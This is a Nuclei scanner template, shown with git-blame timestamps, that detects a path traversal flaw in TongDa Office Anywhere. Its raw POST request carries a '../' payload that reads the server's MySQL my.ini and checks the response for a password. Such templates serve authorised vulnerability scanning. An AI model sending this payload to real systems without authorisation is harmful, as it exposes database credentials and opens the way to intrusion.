2022-06-08 08:01:29 +00:00
|
|
|
id: tongda-path-traversal
|
2021-02-14 12:22:51 +00:00
|
|
|
|
|
|
|
info:
|
2022-05-30 17:13:35 +00:00
|
|
|
name: Office Anywhere TongDa - Path Traversal
|
2021-02-14 12:22:51 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2022-05-31 09:21:16 +00:00
|
|
|
description: |
|
|
|
|
Office Anywhere (OA) is susceptible to path traversal vulnerabilities which can be leveraged to perform remote code execution.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/jas502n/OA-tongda-RCE
|
2022-05-30 14:36:06 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-05-30 14:36:06 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: tongda,lfi
|
2021-02-14 12:22:51 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-02-14 12:22:51 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /ispirit/interface/gateway.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
json={"url":"/general/../../mysql5/my.ini"}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2022-05-31 09:21:16 +00:00
|
|
|
part: body
|
2021-02-14 12:22:51 +00:00
|
|
|
words:
|
|
|
|
- "[mysql]"
|
|
|
|
- "password="
|
|
|
|
condition: and
|
2022-05-31 09:21:16 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
2021-02-14 12:22:51 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100ab2aa8c86ea0c309a7f2508e8c1b109c8087eb033236e0ee1ed536a817a0a6ee02207e08381656f588c6f3ce33ec81338af6dafc83559310f4a9d63fac9081c435eb:922c64590222798bb761d5b6d8e72950
|